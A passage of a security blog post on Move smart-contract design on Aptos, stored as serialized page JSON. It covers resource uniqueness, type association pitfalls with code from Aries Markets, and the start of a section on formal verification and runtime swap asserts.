error",{"type":23,"tag":213,"props":6838,"children":6839},{"style":274},[6840],{"type":28,"value":562},{"type":23,"tag":213,"props":6842,"children":6843},{"style":257},[6844],{"type":28,"value":6845},"already_exists",{"type":23,"tag":213,"props":6847,"children":6848},{"style":220},[6849],{"type":28,"value":6850},"(ECOIN_INFO_ALREADY_PUBLISHED),\n",{"type":23,"tag":213,"props":6852,"children":6853},{"class":215,"line":1176},[6854],{"type":23,"tag":213,"props":6855,"children":6856},{"style":220},[6857],{"type":28,"value":6858}," );\n",{"type":23,"tag":24,"props":6860,"children":6861},{},[6862,6864,6869],{"type":28,"value":6863},"While this ",{"type":23,"tag":209,"props":6865,"children":6867},{"className":6866},[],[6868],{"type":28,"value":6806},{"type":28,"value":6870}," isn't returned directly, it still ensures uniqueness of the capability objects.",{"type":23,"tag":24,"props":6872,"children":6873},{},[6874,6876,6883],{"type":28,"value":6875},"Similarly, consider ",{"type":23,"tag":36,"props":6877,"children":6880},{"href":6878,"rel":6879},"https://ariesmarkets.xyz/",[40],[6881],{"type":28,"value":6882},"Aries Markets",{"type":28,"value":6884},", a lending/borrowing protocol building on Aptos.",{"type":23,"tag":24,"props":6886,"children":6887},{},[6888,6890,6896],{"type":28,"value":6889},"Their ",{"type":23,"tag":209,"props":6891,"children":6893},{"className":6892},[],[6894],{"type":28,"value":6895},"ReserveCoinContainer",{"type":28,"value":6897}," struct stores all the relevant data and resources for managing a lending market.",{"type":23,"tag":202,"props":6899,"children":6901},{"className":206,"code":6900,"language":205,"meta":7,"style":7}," /// The struct to hold all the underlying `Coin`s.\n /// Stored as a resources.\n struct ReserveCoinContainer\u003Cphantom Coin0> has key {\n /// Stores the available `Coin`.\n underlying_coin: Coin\u003CCoin0>,\n /// Stores the LP `Coin` that act as collateral.\n collateralised_lp_coin: Coin\u003CLP\u003CCoin0>>,\n /// Mint capability for LP Coin.\n mint_capability: MintCapability\u003CLP\u003CCoin0>>,\n /// Burn capability for LP Coin.\n burn_capability: BurnCapability\u003CLP\u003CCoin0>>,\n\n // ...\n }\n\n",[6902],{"type":23,"tag":209,"props":6903,"children":6904},{"__ignoreMap":7},[6905,6913,6921,6962,6970,6999,7007,7043,7051,7088,7096,7133,7140,7147],{"type":23,"tag":213,"props":6906,"children":6907},{"class":215,"line":216},[6908],{"type":23,"tag":213,"props":6909,"children":6910},{"style":537},[6911],{"type":28,"value":6912}," /// The struct to hold all the underlying `Coin`s.\n",{"type":23,"tag":213,"props":6914,"children":6915},{"class":215,"line":226},[6916],{"type":23,"tag":213,"props":6917,"children":6918},{"style":537},[6919],{"type":28,"value":6920}," /// Stored as a resources.\n",{"type":23,"tag":213,"props":6922,"children":6923},{"class":215,"line":524},[6924,6928,6933,6937,6941,6946,6950,6954,6958],{"type":23,"tag":213,"props":6925,"children":6926},{"style":230},[6927],{"type":28,"value":5890},{"type":23,"tag":213,"props":6929,"children":6930},{"style":290},[6931],{"type":28,"value":6932}," ReserveCoinContainer",{"type":23,"tag":213,"props":6934,"children":6935},{"style":220},[6936],{"type":28,"value":434},{"type":23,"tag":213,"props":6938,"children":6939},{"style":268},[6940],{"type":28,"value":5904},{"type":23,"tag":213,"props":6942,"children":6943},{"style":290},[6944],{"type":28,"value":6945}," Coin0",{"type":23,"tag":213,"props":6947,"children":6948},{"style":220},[6949],{"type":28,"value":5914},{"type":23,"tag":213,"props":6951,"children":6952},{"style":268},[6953],{"type":28,"value":5919},{"type":23,"tag":213,"props":6955,"children":6956},{"style":268},[6957],{"type":28,"value":918},{"type":23,"tag":213,"props":6959,"children":6960},{"style":220},[6961],{"type":28,"value":1375},{"type":23,"tag":213,"props":6963,"children":6964},{"class":215,"line":533},[6965],{"type":23,"tag":213,"props":6966,"children":6967},{"style":537},[6968],{"type":28,"value":6969}," /// Stores the available `Coin`.\n",{"type":23,"tag":213,"props":6971,"children":6972},{"class":215,"line":543},[6973,6978,6982,6986,6990,6995],{"type":23,"tag":213,"props":6974,"children":6975},{"style":268},[6976],{"type":28,"value":6977}," underlying_coin",{"type":23,"tag":213,"props":6979,"children":6980},{"style":274},[6981],{"type":28,"value":277},{"type":23,"tag":213,"props":6983,"children":6984},{"style":290},[6985],{"type":28,"value":5895},{"type":23,"tag":213,"props":6987,"children":6988},{"style":220},[6989],{"type":28,"value":434},{"type":23,"tag":213,"props":6991,"children":6992},{"style":290},[6993],{"type":28,"value":6994},"Coin0",{"type":23,"tag":213,"props":6996,"children":6997},{"style":220},[6998],{"type":28,"value":6230},{"type":23,"tag":213,"props":7000,"children":7001},{"class":215,"line":551},[7002],{"type":23,"tag":213,"props":7003,"children":7004},{"style":537},[7005],{"type":28,"value":7006}," /// Stores the LP `Coin` that act as collateral.\n",{"type":23,"tag":213,"props":7008,"children":7009},{"class":215,"line":570},[7010,7015,7019,7023,7027,7031,7035,7039],{"type":23,"tag":213,"props":7011,"children":7012},{"style":268},[7013],{"type":28,"value":7014}," collateralised_lp_coin",{"type":23,"tag":213,"props":7016,"children":7017},{"style":274},[7018],{"type":28,"value":277},{"type":23,"tag":213,"props":7020,"children":7021},{"style":290},[7022],{"type":28,"value":5895},{"type":23,"tag":213,"props":7024,"children":7025},{"style":220},[7026],{"type":28,"value":434},{"type":23,"tag":213,"props":7028,"children":7029},{"style":290},[7030],{"type":28,"value":6427},{"type":23,"tag":213,"props":7032,"children":7033},{"style":220},[7034],{"type":28,"value":434},{"type":23,"tag":213,"props":7036,"children":7037},{"style":290},[7038],{"type":28,"value":6994},{"type":23,"tag":213,"props":7040,"children":7041},{"style":220},[7042],{"type":28,"value":1052},{"type":23,"tag":213,"props":7044,"children":7045},{"class":215,"line":655},[7046],{"type":23,"tag":213,"props":7047,"children":7048},{"style":537},[7049],{"type":28,"value":7050}," /// Mint capability for LP Coin.\n",{"type":23,"tag":213,"props":7052,"children":7053},{"class":215,"line":1176},[7054,7059,7063,7068,7072,7076,7080,7084],{"type":23,"tag":213,"props":7055,"children":7056},{"style":268},[7057],{"type":28,"value":7058}," mint_capability",{"type":23,"tag":213,"props":7060,"children":7061},{"style":274},[7062],{"type":28,"value":277},{"type":23,"tag":213,"props":7064,"children":7065},{"style":290},[7066],{"type":28,"value":7067}," MintCapability",{"type":23,"tag":213,"props":7069,"children":7070},{"style":220},[7071],{"type":28,"value":434},{"type":23,"tag":213,"props":7073,"children":7074},{"style":290},[7075],{"type":28,"value":6427},{"type":23,"tag":213,"props":7077,"children":7078},{"style":220},[7079],{"type":28,"value":434},{"type":23,"tag":213,"props":7081,"children":7082},{"style":290},[7083],{"type":28,"value":6994},{"type":23,"tag":213,"props":7085,"children":7086},{"style":220},[7087],{"type":28,"value":1052},{"type":23,"tag":213,"props":7089,"children":7090},{"class":215,"line":1202},[7091],{"type":23,"tag":213,"props":7092,"children":7093},{"style":537},[7094],{"type":28,"value":7095}," /// Burn capability for LP Coin.\n",{"type":23,"tag":213,"props":7097,"children":7098},{"class":215,"line":1758},[7099,7104,7108,7113,7117,7121,7125,7129],{"type":23,"tag":213,"props":7100,"children":7101},{"style":268},[7102],{"type":28,"value":7103}," burn_capability",{"type":23,"tag":213,"props":7105,"children":7106},{"style":274},[7107],{"type":28,"value":277},{"type":23,"tag":213,"props":7109,"children":7110},{"style":290},[7111],{"type":28,"value":7112}," BurnCapability",{"type":23,"tag":213,"props":7114,"children":7115},{"style":220},[7116],{"type":28,"value":434},{"type":23,"tag":213,"props":7118,"children":7119},{"style":290},[7120],{"type":28,"value":6427},{"type":23,"tag":213,"props":7122,"children":7123},{"style":220},[7124],{"type":28,"value":434},{"type":23,"tag":213,"props":7126,"children":7127},{"style":290},[7128],{"type":28,"value":6994},{"type":23,"tag":213,"props":7130,"children":7131},{"style":220},[7132],{"type":28,"value":1052},{"type":23,"tag":213,"props":7134,"children":7135},{"class":215,"line":1767},[7136],{"type":23,"tag":213,"props":7137,"children":7138},{"emptyLinePlaceholder":18},[7139],{"type":28,"value":530},{"type":23,"tag":213,"props":7141,"children":7142},{"class":215,"line":1789},[7143],{"type":23,"tag":213,"props":7144,"children":7145},{"style":537},[7146],{"type":28,"value":6689},{"type":23,"tag":213,"props":7148,"children":7149},{"class":215,"line":1812},[7150],{"type":23,"tag":213,"props":7151,"children":7152},{"style":220},[7153],{"type":28,"value":5964},{"type":23,"tag":24,"props":7155,"children":7156},{},[7157,7159,7164],{"type":28,"value":7158},"When creating a ",{"type":23,"tag":209,"props":7160,"children":7162},{"className":7161},[],[7163],{"type":28,"value":6895},{"type":28,"value":7165},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":23,"tag":202,"props":7167,"children":7169},{"className":206,"code":7168,"language":205,"meta":7,"style":7}," public(friend) fun create\u003CCoin0>(\n lp_store: &signer,\n // ...\n ) acquires Reserves {\n lp::assert_is_lp_store(signer::address_of(lp_store));\n\n // ...\n\n move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n // ...\n });\n",[7170],{"type":23,"tag":209,"props":7171,"children":7172},{"__ignoreMap":7},[7173,7216,7241,7248,7269,7314,7321,7328,7335,7371,7378],{"type":23,"tag":213,"props":7174,"children":7175},{"class":215,"line":216},[7176,7181,7185,7190,7194,7199,7204,7208,7212],{"type":23,"tag":213,"props":7177,"children":7178},{"style":257},[7179],{"type":28,"value":7180}," public",{"type":23,"tag":213,"props":7182,"children":7183},{"style":220},[7184],{"type":28,"value":265},{"type":23,"tag":213,"props":7186,"children":7187},{"style":268},[7188],{"type":28,"value":7189},"friend",{"type":23,"tag":213,"props":7191,"children":7192},{"style":220},[7193],{"type":28,"value":298},{"type":23,"tag":213,"props":7195,"children":7196},{"style":268},[7197],{"type":28,"value":7198},"fun",{"type":23,"tag":213,"props":7200,"children":7201},{"style":268},[7202],{"type":28,"value":7203}," create",{"type":23,"tag":213,"props":7205,"children":7206},{"style":220},[7207],{"type":28,"value":434},{"type":23,"tag":213,"props":7209,"children":7210},{"style":290},[7211],{"type":28,"value":6994},{"type":23,"tag":213,"props":7213,"children":7214},{"style":220},[7215],{"type":28,"value":6681},{"type":23,"tag":213,"props":7217,"children":7218},{"class":215,"line":226},[7219,7224,7228,7232,7237],{"type":23,"tag":213,"props":7220,"children":7221},{"style":268},[7222],{"type":28,"value":7223}," lp_store",{"type":23,"tag":213,"props":7225,"children":7226},{"style":274},[7227],{"type":28,"value":277},{"type":23,"tag":213,"props":7229,"children":7230},{"style":274},[7231],{"type":28,"value":927},{"type":23,"tag":213,"props":7233,"children":7234},{"style":268},[7235],{"type":28,"value":7236},"signer",{"type":23,"tag":213,"props":7238,"children":7239},{"style":220},[7240],{"type":28,"value":944},{"type":23,"tag":213,"props":7242,"children":7243},{"class":215,"line":524},[7244],{"type":23,"tag":213,"props":7245,"children":7246},{"style":537},[7247],{"type":28,"value":6689},{"type":23,"tag":213,"props":7249,"children":7250},{"class":215,"line":533},[7251,7256,7260,7265],{"type":23,"tag":213,"props":7252,"children":7253},{"style":220},[7254],{"type":28,"value":7255}," ) ",{"type":23,"tag":213,"props":7257,"children":7258},{"style":268},[7259],{"type":28,"value":6436},{"type":23,"tag":213,"props":7261,"children":7262},{"style":290},[7263],{"type":28,"value":7264}," Reserves",{"type":23,"tag":213,"props":7266,"children":7267},{"style":220},[7268],{"type":28,"value":1375},{"type":23,"tag":213,"props":7270,"children":7271},{"class":215,"line":543},[7272,7277,7281,7286,7291,7295,7300,7304,7309],{"type":23,"tag":213,"props":7273,"children":7274},{"style":220},[7275],{"type":28,"value":7276}," lp",{"type":23,"tag":213,"props":7278,"children":7279},{"style":274},[7280],{"type":28,"value":562},{"type":23,"tag":213,"props":7282,"children":7283},{"style":257},[7284],{"type":28,"value":7285},"assert_is_lp_store",{"type":23,"tag":213,"props":7287,"children":7288},{"style":220},[7289],{"type":28,"value":7290},"(signer",{"type":23,"tag":213,"props":7292,"children":7293},{"style":274},[7294],{"type":28,"value":562},{"type":23,"tag":213,"props":7296,"children":7297},{"style":257},[7298],{"type":28,"value":7299},"address_of",{"type":23,"tag":213,"props":7301,"children":7302},{"style":220},[7303],{"type":28,"value":265},{"type":23,"tag":213,"props":7305,"children":7306},{"style":268},[7307],{"type":28,"value":7308},"lp_store",{"type":23,"tag":213,"props":7310,"children":7311},{"style":220},[7312],{"type":28,"value":7313},"));\n",{"type":23,"tag":213,"props":7315,"children":7316},{"class":215,"line":551},[7317],{"type":23,"tag":213,"props":7318,"children":7319},{"emptyLinePlaceholder":18},[7320],{"type":28,"value":530},{"type":23,"tag":213,"props":7322,"children":7323},{"class":215,"line":570},[7324],{"type":23,"tag":213,"props":7325,"children":7326},{"style":537},[7327],{"type":28,"value":6689},{"type":23,"tag":213,"props":7329,"children":7330},{"class":215,"line":655},[7331],{"type":23,"tag":213,"props":7332,"children":7333},{"emptyLinePlaceholder":18},[7334],{"type":28,"value":530},{"type":23,"tag":213,"props":7336,"children":7337},{"class":215,"line":1176},[7338,7343,7347,7351,7355,7359,7363,7367],{"type":23,"tag":213,"props":7339,"children":7340},{"style":257},[7341],{"type":28,"value":7342}," move_to",{"type":23,"tag":213,"props":7344,"children":7345},{"style":220},[7346],{"type":28,"value":265},{"type":23,"tag":213,"props":7348,"children":7349},{"style":268},[7350],{"type":28,"value":7308},{"type":23,"tag":213,"props":7352,"children":7353},{"style":220},[7354],{"type":28,"value":424},{"type":23,"tag":213,"props":7356,"children":7357},{"style":290},[7358],{"type":28,"value":6895},{"type":23,"tag":213,"props":7360,"children":7361},{"style":220},[7362],{"type":28,"value":434},{"type":23,"tag":213,"props":7364,"children":7365},{"style":290},[7366],{"type":28,"value":6994},{"type":23,"tag":213,"props":7368,"children":7369},{"style":220},[7370],{"type":28,"value":905},{"type":23,"tag":213,"props":7372,"children":7373},{"class":215,"line":1202},[7374],{"type":23,"tag":213,"props":7375,"children":7376},{"style":537},[7377],{"type":28,"value":6267},{"type":23,"tag":213,"props":7379,"children":7380},{"class":215,"line":1758},[7381],{"type":23,"tag":213,"props":7382,"children":7383},{"style":220},[7384],{"type":28,"value":7385}," });\n",{"type":23,"tag":24,"props":7387,"children":7388},{},[7389],{"type":28,"value":7390},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":24,"props":7392,"children":7393},{},[7394,7396,7402,7404,7410,7412,7417],{"type":28,"value":7395},"On the other hand, consider if you have a ",{"type":23,"tag":209,"props":7397,"children":7399},{"className":7398},[],[7400],{"type":28,"value":7401},"Position\u003CT>",{"type":28,"value":7403}," and a ",{"type":23,"tag":209,"props":7405,"children":7407},{"className":7406},[],[7408],{"type":28,"value":7409},"Market\u003CT>",{"type":28,"value":7411}," where ",{"type":23,"tag":209,"props":7413,"children":7415},{"className":7414},[],[7416],{"type":28,"value":6079},{"type":28,"value":7418}," is the coin type.",{"type":23,"tag":202,"props":7420,"children":7422},{"className":206,"code":7421,"language":205,"meta":7,"style":7}," struct Market\u003Cphantom T> {\n reserves: Coin\u003CT>,\n // ...\n }\n\n struct Position\u003Cphantom T> {\n amount: u64,\n // ...\n }\n",[7423],{"type":23,"tag":209,"props":7424,"children":7425},{"__ignoreMap":7},[7426,7454,7482,7489,7496,7503,7531,7551,7558],{"type":23,"tag":213,"props":7427,"children":7428},{"class":215,"line":216},[7429,7433,7438,7442,7446,7450],{"type":23,"tag":213,"props":7430,"children":7431},{"style":230},[7432],{"type":28,"value":6144},{"type":23,"tag":213,"props":7434,"children":7435},{"style":290},[7436],{"type":28,"value":7437}," Market",{"type":23,"tag":213,"props":7439,"children":7440},{"style":220},[7441],{"type":28,"value":434},{"type":23,"tag":213,"props":7443,"children":7444},{"style":268},[7445],{"type":28,"value":5904},{"type":23,"tag":213,"props":7447,"children":7448},{"style":290},[7449],{"type":28,"value":6011},{"type":23,"tag":213,"props":7451,"children":7452},{"style":220},[7453],{"type":28,"value":905},{"type":23,"tag":213,"props":7455,"children":7456},{"class":215,"line":226},[7457,7462,7466,7470,7474,7478],{"type":23,"tag":213,"props":7458,"children":7459},{"style":268},[7460],{"type":28,"value":7461}," reserves",{"type":23,"tag":213,"props":7463,"children":7464},{"style":274},[7465],{"type":28,"value":277},{"type":23,"tag":213,"props":7467,"children":7468},{"style":290},[7469],{"type":28,"value":5895},{"type":23,"tag":213,"props":7471,"children":7472},{"style":220},[7473],{"type":28,"value":434},{"type":23,"tag":213,"props":7475,"children":7476},{"style":290},[7477],{"type":28,"value":6079},{"type":23,"tag":213,"props":7479,"children":7480},{"style":220},[7481],{"type":28,"value":6230},{"type":23,"tag":213,"props":7483,"children":7484},{"class":215,"line":524},[7485],{"type":23,"tag":213,"props":7486,"children":7487},{"style":537},[7488],{"type":28,"value":6267},{"type":23,"tag":213,"props":7490,"children":7491},{"class":215,"line":533},[7492],{"type":23,"tag":213,"props":7493,"children":7494},{"style":220},[7495],{"type":28,"value":2875},{"type":23,"tag":213,"props":7497,"children":7498},{"class":215,"line":543},[7499],{"type":23,"tag":213,"props":7500,"children":7501},{"emptyLinePlaceholder":18},[7502],{"type":28,"value":530},{"type":23,"tag":213,"props":7504,"children":7505},{"class":215,"line":551},[7506,7510,7515,7519,7523,7527],{"type":23,"tag":213,"props":7507,"children":7508},{"style":230},[7509],{"type":28,"value":6144},{"type":23,"tag":213,"props":7511,"children":7512},{"style":290},[7513],{"type":28,"value":7514}," Position",{"type":23,"tag":213,"props":7516,"children":7517},{"style":220},[7518],{"type":28,"value":434},{"type":23,"tag":213,"props":7520,"children":7521},{"style":268},[7522],{"type":28,"value":5904},{"type":23,"tag":213,"props":7524,"children":7525},{"style":290},[7526],{"type":28,"value":6011},{"type":23,"tag":213,"props":7528,"children":7529},{"style":220},[7530],{"type":28,"value":905},{"type":23,"tag":213,"props":7532,"children":7533},{"class":215,"line":570},[7534,7539,7543,7547],{"type":23,"tag":213,"props":7535,"children":7536},{"style":268},[7537],{"type":28,"value":7538}," amount",{"type":23,"tag":213,"props":7540,"children":7541},{"style":274},[7542],{"type":28,"value":277},{"type":23,"tag":213,"props":7544,"children":7545},{"style":290},[7546],{"type":28,"value":308},{"type":23,"tag":213,"props":7548,"children":7549},{"style":220},[7550],{"type":28,"value":944},{"type":23,"tag":213,"props":7552,"children":7553},{"class":215,"line":655},[7554],{"type":23,"tag":213,"props":7555,"children":7556},{"style":537},[7557],{"type":28,"value":6267},{"type":23,"tag":213,"props":7559,"children":7560},{"class":215,"line":1176},[7561],{"type":23,"tag":213,"props":7562,"children":7563},{"style":220},[7564],{"type":28,"value":2875},{"type":23,"tag":24,"props":7566,"children":7567},{},[7568,7570,7575,7577,7582],{"type":28,"value":7569},"If ",{"type":23,"tag":209,"props":7571,"children":7573},{"className":7572},[],[7574],{"type":28,"value":7409},{"type":28,"value":7576}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":209,"props":7578,"children":7580},{"className":7579},[],[7581],{"type":28,"value":6079},{"type":28,"value":7583}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":24,"props":7585,"children":7586},{},[7587],{"type":28,"value":7588},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":202,"props":7590,"children":7592},{"className":206,"code":7591,"language":205,"meta":7,"style":7}," /// Get the price of the token per lamport.\n public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n let oracle = borrow_global_mut\u003COracle>(@oracle);\n let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n &mut oracle.prices,\n type_info,\n decimal::one()\n );\n *price\n }\n",[7593],{"type":23,"tag":209,"props":7594,"children":7595},{"__ignoreMap":7},[7596,7604,7666,7714,7766,7791,7803,7825,7832,7845],{"type":23,"tag":213,"props":7597,"children":7598},{"class":215,"line":216},[7599],{"type":23,"tag":213,"props":7600,"children":7601},{"style":537},[7602],{"type":28,"value":7603}," /// Get the price of the token per lamport.\n",{"type":23,"tag":213,"props":7605,"children":7606},{"class":215,"line":226},[7607,7612,7616,7621,7625,7630,7634,7639,7643,7647,7652,7657,7662],{"type":23,"tag":213,"props":7608,"children":7609},{"style":268},[7610],{"type":28,"value":7611}," public",{"type":23,"tag":213,"props":7613,"children":7614},{"style":268},[7615],{"type":28,"value":6299},{"type":23,"tag":213,"props":7617,"children":7618},{"style":257},[7619],{"type":28,"value":7620}," get_price",{"type":23,"tag":213,"props":7622,"children":7623},{"style":220},[7624],{"type":28,"value":265},{"type":23,"tag":213,"props":7626,"children":7627},{"style":268},[7628],{"type":28,"value":7629},"type_info",{"type":23,"tag":213,"props":7631,"children":7632},{"style":274},[7633],{"type":28,"value":277},{"type":23,"tag":213,"props":7635,"children":7636},{"style":290},[7637],{"type":28,"value":7638}," TypeInfo",{"type":23,"tag":213,"props":7640,"children":7641},{"style":220},[7642],{"type":28,"value":2121},{"type":23,"tag":213,"props":7644,"children":7645},{"style":274},[7646],{"type":28,"value":277},{"type":23,"tag":213,"props":7648,"children":7649},{"style":290},[7650],{"type":28,"value":7651}," Decimal",{"type":23,"tag":213,"props":7653,"children":7654},{"style":268},[7655],{"type":28,"value":7656}," acquires",{"type":23,"tag":213,"props":7658,"children":7659},{"style":290},[7660],{"type":28,"value":7661}," Oracle",{"type":23,"tag":213,"props":7663,"children":7664},{"style":220},[7665],{"type":28,"value":1375},{"type":23,"tag":213,"props":7667,"children":7668},{"class":215,"line":524},[7669,7673,7678,7682,7687,7691,7696,7700,7705,7710],{"type":23,"tag":213,"props":7670,"children":7671},{"style":230},[7672],{"type":28,"value":3163},{"type":23,"tag":213,"props":7674,"children":7675},{"style":268},[7676],{"type":28,"value":7677}," oracle",{"type":23,"tag":213,"props":7679,"children":7680},{"style":274},[7681],{"type":28,"value":511},{"type":23,"tag":213,"props":7683,"children":7684},{"style":268},[7685],{"type":28,"value":7686}," borrow_global_mut",{"type":23,"tag":213,"props":7688,"children":7689},{"style":220},[7690],{"type":28,"value":434},{"type":23,"tag":213,"props":7692,"children":7693},{"style":290},[7694],{"type":28,"value":7695},"Oracle",{"type":23,"tag":213,"props":7697,"children":7698},{"style":220},[7699],{"type":28,"value":367},{"type":23,"tag":213,"props":7701,"children":7702},{"style":274},[7703],{"type":28,"value":7704},"@",{"type":23,"tag":213,"props":7706,"children":7707},{"style":268},[7708],{"type":28,"value":7709},"oracle",{"type":23,"tag":213,"props":7711,"children":7712},{"style":220},[7713],{"type":28,"value":2867},{"type":23,"tag":213,"props":7715,"children":7716},{"class":215,"line":533},[7717,7721,7726,7730,7735,7739,7744,7748,7753,7757,7762],{"type":23,"tag":213,"props":7718,"children":7719},{"style":230},[7720],{"type":28,"value":3163},{"type":23,"tag":213,"props":7722,"children":7723},{"style":268},[7724],{"type":28,"value":7725}," price",{"type":23,"tag":213,"props":7727,"children":7728},{"style":274},[7729],{"type":28,"value":511},{"type":23,"tag":213,"props":7731,"children":7732},{"style":220},[7733],{"type":28,"value":7734}," table",{"type":23,"tag":213,"props":7736,"children":7737},{"style":274},[7738],{"type":28,"value":562},{"type":23,"tag":213,"props":7740,"children":7741},{"style":268},[7742],{"type":28,"value":7743},"borrow_mut_with_default",{"type":23,"tag":213,"props":7745,"children":7746},{"style":220},[7747],{"type":28,"value":434},{"type":23,"tag":213,"props":7749,"children":7750},{"style":290},[7751],{"type":28,"value":7752},"TypeInfo",{"type":23,"tag":213,"props":7754,"children":7755},{"style":220},[7756],{"type":28,"value":424},{"type":23,"tag":213,"props":7758,"children":7759},{"style":290},[7760],{"type":28,"value":7761},"Decimal",{"type":23,"tag":213,"props":7763,"children":7764},{"style":220},[7765],{"type":28,"value":6681},{"type":23,"tag":213,"props":7767,"children":7768},{"class":215,"line":543},[7769,7774,7778,7782,7786],{"type":23,"tag":213,"props":7770,"children":7771},{"style":274},[7772],{"type":28,"value":7773}," &",{"type":23,"tag":213,"props":7775,"children":7776},{"style":230},[7777],{"type":28,"value":287},{"type":23,"tag":213,"props":7779,"children":7780},{"style":268},[7781],{"type":28,"value":7677},{"type":23,"tag":213,"props":7783,"children":7784},{"style":274},[7785],{"type":28,"value":124},{"type":23,"tag":213,"props":7787,"children":7788},{"style":220},[7789],{"type":28,"value":7790},"prices,\n",{"type":23,"tag":213,"props":7792,"children":7793},{"class":215,"line":551},[7794,7799],{"type":23,"tag":213,"props":7795,"children":7796},{"style":268},[7797],{"type":28,"value":7798}," type_info",{"type":23,"tag":213,"props":7800,"children":7801},{"style":220},[7802],{"type":28,"value":944},{"type":23,"tag":213,"props":7804,"children":7805},{"class":215,"line":570},[7806,7811,7815,7820],{"type":23,"tag":213,"props":7807,"children":7808},{"style":220},[7809],{"type":28,"value":7810}," decimal",{"type":23,"tag":213,"props":7812,"children":7813},{"style":274},[7814],{"type":28,"value":562},{"type":23,"tag":213,"props":7816,"children":7817},{"style":257},[7818],{"type":28,"value":7819},"one",{"type":23,"tag":213,"props":7821,"children":7822},{"style":220},[7823],{"type":28,"value":7824},"()\n",{"type":23,"tag":213,"props":7826,"children":7827},{"class":215,"line":655},[7828],{"type":23,"tag":213,"props":7829,"children":7830},{"style":220},[7831],{"type":28,"value":2831},{"type":23,"tag":213,"props":7833,"children":7834},{"class":215,"line":1176},[7835,7840],{"type":23,"tag":213,"props":7836,"children":7837},{"style":274},[7838],{"type":28,"value":7839}," *",{"type":23,"tag":213,"props":7841,"children":7842},{"style":268},[7843],{"type":28,"value":7844},"price\n",{"type":23,"tag":213,"props":7846,"children":7847},{"class":215,"line":1202},[7848],{"type":23,"tag":213,"props":7849,"children":7850},{"style":220},[7851],{"type":28,"value":2875},{"type":23,"tag":24,"props":7853,"children":7854},{},[7855,7857,7862],{"type":28,"value":7856},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":87,"props":7858,"children":7859},{},[7860],{"type":28,"value":7861},"instance",{"type":28,"value":7863}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":7865,"children":7866},{},[7867],{"type":28,"value":7868},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":131,"props":7870,"children":7871},{},[7872,7877],{"type":23,"tag":135,"props":7873,"children":7874},{},[7875],{"type":28,"value":7876},"Have unique initializers for your resources",{"type":23,"tag":135,"props":7878,"children":7879},{},[7880],{"type":28,"value":7881},"Associate resources with instances directly",{"type":23,"tag":47,"props":7883,"children":7885},{"id":7884},"formal-verification",[7886],{"type":28,"value":7887},"Formal Verification",{"type":23,"tag":24,"props":7889,"children":7890},{},[7891],{"type":28,"value":7892},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":7894,"children":7895},{},[7896],{"type":28,"value":7897},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":7899,"children":7900},{},[7901,7903,7908],{"type":28,"value":7902},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":87,"props":7904,"children":7905},{},[7906],{"type":28,"value":7907},"what",{"type":28,"value":7909}," to prove.",{"type":23,"tag":24,"props":7911,"children":7912},{},[7913,7915,7922],{"type":28,"value":7914},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":36,"props":7916,"children":7919},{"href":7917,"rel":7918},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[40],[7920],{"type":28,"value":7921},"Solana AMM rounding issue",{"type":28,"value":7923}," we reported.",{"type":23,"tag":24,"props":7925,"children":7926},{},[7927],{"type":28,"value":7928},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":202,"props":7930,"children":7932},{"className":206,"code":7931,"language":205,"meta":7,"style":7}," let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7933],{"type":23,"tag":209,"props":7934,"children":7935},{"__ignoreMap":7},[7936,7997],{"type":23,"tag":213,"props":7937,"children":7938},{"class":215,"line":216},[7939,7944,7949,7953,7958,7962,7967,7971,7975,7980,7984,7988,7993],{"type":23,"tag":213,"props":7940,"children":7941},{"style":230},[7942],{"type":28,"value":7943}," let",{"type":23,"tag":213,"props":7945,"children":7946},{"style":268},[7947],{"type":28,"value":7948}," cmp",{"type":23,"tag":213,"props":7950,"children":7951},{"style":274},[7952],{"type":28,"value":511},{"type":23,"tag":213,"props":7954,"children":7955},{"style":220},[7956],{"type":28,"value":7957}," u256",{"type":23,"tag":213,"props":7959,"children":7960},{"style":274},[7961],{"type":28,"value":562},{"type":23,"tag":213,"props":7963,"children":7964},{"style":257},[7965],{"type":28,"value":7966},"compare",{"type":23,"tag":213,"props":7968,"children":7969},{"style":220},[7970],{"type":28,"value":265},{"type":23,"tag":213,"props":7972,"children":7973},{"style":274},[7974],{"type":28,"value":405},{"type":23,"tag":213,"props":7976,"children":7977},{"style":268},[7978],{"type":28,"value":7979},"lp_value_after_swap_and_fee",{"type":23,"tag":213,"props":7981,"children":7982},{"style":220},[7983],{"type":28,"value":424},{"type":23,"tag":213,"props":7985,"children":7986},{"style":274},[7987],{"type":28,"value":405},{"type":23,"tag":213,"props":7989,"children":7990},{"style":268},[7991],{"type":28,"value":7992},"lp_value_before_swap_u256",{"type":23,"tag":213,"props":7994,"children":7995},{"style":220},[7996],{"type":28,"value":2867},{"type":23,"tag":213,"props":7998,"children":7999},{"class":215,"line":226},[8000,8005,8009,8014,8018,8023],{"type":23,"tag":213,"props":8001,"children":8002},{"style":257},[8003],{"type":28,"value":8004}," 